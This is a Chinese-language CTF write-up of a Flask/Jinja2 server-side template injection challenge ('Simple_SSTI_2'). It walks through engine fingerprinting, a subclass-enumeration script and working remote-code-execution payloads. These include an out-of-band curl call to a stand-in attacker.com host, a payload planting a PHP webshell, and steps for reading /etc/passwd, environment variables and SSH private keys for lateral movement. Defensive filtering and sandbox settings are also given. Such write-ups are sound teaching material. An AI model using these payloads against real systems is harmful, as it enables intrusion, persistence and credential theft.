1. 题目背景与核心考察点
这道来自Bugku平台的CTF题目名为"Simple_SSTI_2",属于Web安全方向的模板注入类挑战。SSTI(Server-Side Template Injection)是近年来CTF比赛和实际渗透测试中的高频考点,主要考察选手对服务端模板引擎的识别、利用以及安全防护的理解。
在真实开发场景中,许多Web框架(如Flask、Django、Spring等)都会使用模板引擎来动态生成HTML页面。当开发人员不慎将用户输入直接拼接到模板中时,就可能造成SSTI漏洞,攻击者通过注入恶意模板代码可以实现远程代码执行(RCE)。
2. 环境搭建与初步测试
2.1 题目界面分析
启动题目环境后,我们看到一个简单的输入框,提示"Try to find the secret"。尝试提交测试字符串{{7*7}},页面返回计算结果49,这明确表明存在模板注入漏洞。
关键验证技巧:测试SSTI时建议依次尝试
{7*7},${7*7},<%=7*7%>等不同语法,覆盖常见模板引擎的表达式语法。
2.2 模板引擎指纹识别
通过注入特殊语法可以识别具体模板引擎:
{{'7'*7}}返回7777777→ Jinja2特性{{7*'7'}}报错 → 排除Twig{{self}}返回<TemplateReference None>→ 确认Flask+Jinja2组合
识别模板类型对后续利用至关重要。常见引擎的差异如下表:
| 引擎类型 | 测试Payload | 特征响应 |
|---|---|---|
| Jinja2 | {{''.__class__}} | 返回类对象信息 |
| Twig | {{_self}} | 返回框架对象 |
| Smarty | {system('id')} | 直接执行系统命令 |
3. 漏洞利用链构建
3.1 Python沙箱逃逸基础
在Jinja2环境下,我们需要通过Python对象原型链进行沙箱逃逸。核心思路是:
- 获取基本类的
__class__属性 - 回溯到
object基类 - 访问
__subclasses__()获取所有子类 - 定位到可执行命令的危险子类(如os._wrap_close)
# 典型利用链示例 {{''.__class__.__mro__[1].__subclasses__()[X]}}3.2 子类索引定位
不同Python环境下的危险类索引位置不同,需要动态探测。通过以下脚本可以快速定位:
for i in range(500): payload = f"{{{{''.__class__.__mro__[1].__subclasses__()[{i}]}}}}" if 'os._wrap_close' in requests.post(url, data={'input':payload}).text: print(f"Found at index {i}") break在本题环境中,os._wrap_close位于索引117的位置。
4. 完整利用过程
4.1 命令执行Payload构造
利用找到的危险类构造RCE:
{{''.__class__.__mro__[1].__subclasses__()[117].__init__.__globals__['system']('ls')}}这个Payload的解析过程:
''.__class__→ 获取字符串类__mro__[1]→ 获取object基类__subclasses__()[117]→ 定位os._wrap_close__init__.__globals__→ 获取模块全局变量['system']→ 引用os.system函数
4.2 盲注技巧应用
当命令执行无回显时,可以使用盲注技术:
- 延时注入:
{{''.__class__.__mro__[1].__subclasses__()[117].__init__.__globals__['system']('sleep 5')}} - DNS外带:
{{''.__class__.__mro__[1].__subclasses__()[117].__init__.__globals__['system']('curl http://attacker.com/whoami')}}
4.3 最终Flag获取
执行cat /flag或查看环境变量获取flag:
{{''.__class__.__mro__[1].__subclasses__()[117].__init__.__globals__['system']('env')}}5. 防御方案与最佳实践
5.1 输入过滤策略
- 严格限制模板中可使用的字符(如禁止
_、[、]等) - 使用正则表达式过滤危险关键词:
import re BLACKLIST = re.compile(r'__|import|os|system|eval') if BLACKLIST.search(user_input): raise ValueError('Invalid input')
5.2 安全模板配置
对于Jinja2,建议配置:
app.jinja_env.globals = None # 清空全局变量 app.jinja_env.autoescape = True # 开启自动转义5.3 沙箱化执行
使用AST解析器预先检查模板语法:
from jinja2.sandbox import SandboxedEnvironment env = SandboxedEnvironment()6. 扩展利用技巧
6.1 无数字字母RCE
当字符受限时,可以通过:
- 属性访问:
request|attr('application') - 字符串拼接:
('fla'~'g')|read() - 进制转换:
0x2f|string|lower→/
6.2 内存操作进阶
通过__builtins__访问更底层功能:
{{''.__class__.__mro__[1].__subclasses__()[117].__init__.__globals__['__builtins__']['__import__']('os').system('id')}}6.3 框架特性利用
某些框架的默认路由可能泄露敏感信息:
- Flask的
/console调试接口 - Django的
/admin后台页面
7. 实际渗透测试经验
在真实项目中遇到SSTI时:
- 优先尝试读取
/proc/self/environ获取环境变量 - 检查
/etc/passwd确认用户权限 - 尝试写入Webshell到可写目录:
{{''.__class__.__mro__[1].__subclasses__()[117].__init__.__globals__['system']('echo "<?php system($_GET[cmd]);?>" > /var/www/html/shell.php')}} - 横向移动时通过
~/.ssh/id_rsa获取SSH密钥
8. 自动化工具推荐
- tplmap:自动检测和利用SSTI
python tplmap.py -u "http://target/page?name=*" - Jinja2 Debug Console:当开启调试模式时,可通过
/console执行代码 - Burp Suite SSTI Scanner:定制扫描插件检测模板注入点
9. 常见问题排查
Q1:Payload执行但无回显A:尝试使用curl或wget外带数据,或使用base64编码输出:
{{''.__class__.__mro__[1].__subclasses__()[117].__init__.__globals__['system']('id | base64')}}Q2:特殊字符被过滤A:使用替代方案:
- 点号 →
|attr() - 中括号 →
__getitem__() - 字符串 →
request.args.x
Q3:子类索引不稳定A:编写脚本批量测试,或改用更稳定的查找方式:
{% for x in ''.__class__.__mro__[1].__subclasses__() %}{% if "catch_warnings" in x.__name__ %}{{x.__init__.__globals__}}{% endif %}{% endfor %}10. 学习资源推荐
- Payload大全:GitHub上的
PayloadsAllTheThings项目 - 实验环境:
- Vulnhub的
Jinja2 SSTI Lab - Docker镜像
vulhub/flask/ssti
- Vulnhub的
- 进阶研究:
- 《Web Application Security》模板注入章节
- BlackHat会议关于SSTI的演讲材料
通过这道题目,我们不仅掌握了基础的SSTI利用技巧,更深入理解了模板引擎的工作原理和安全防护方法。在实际开发中,切记永远不要信任用户输入的模板内容。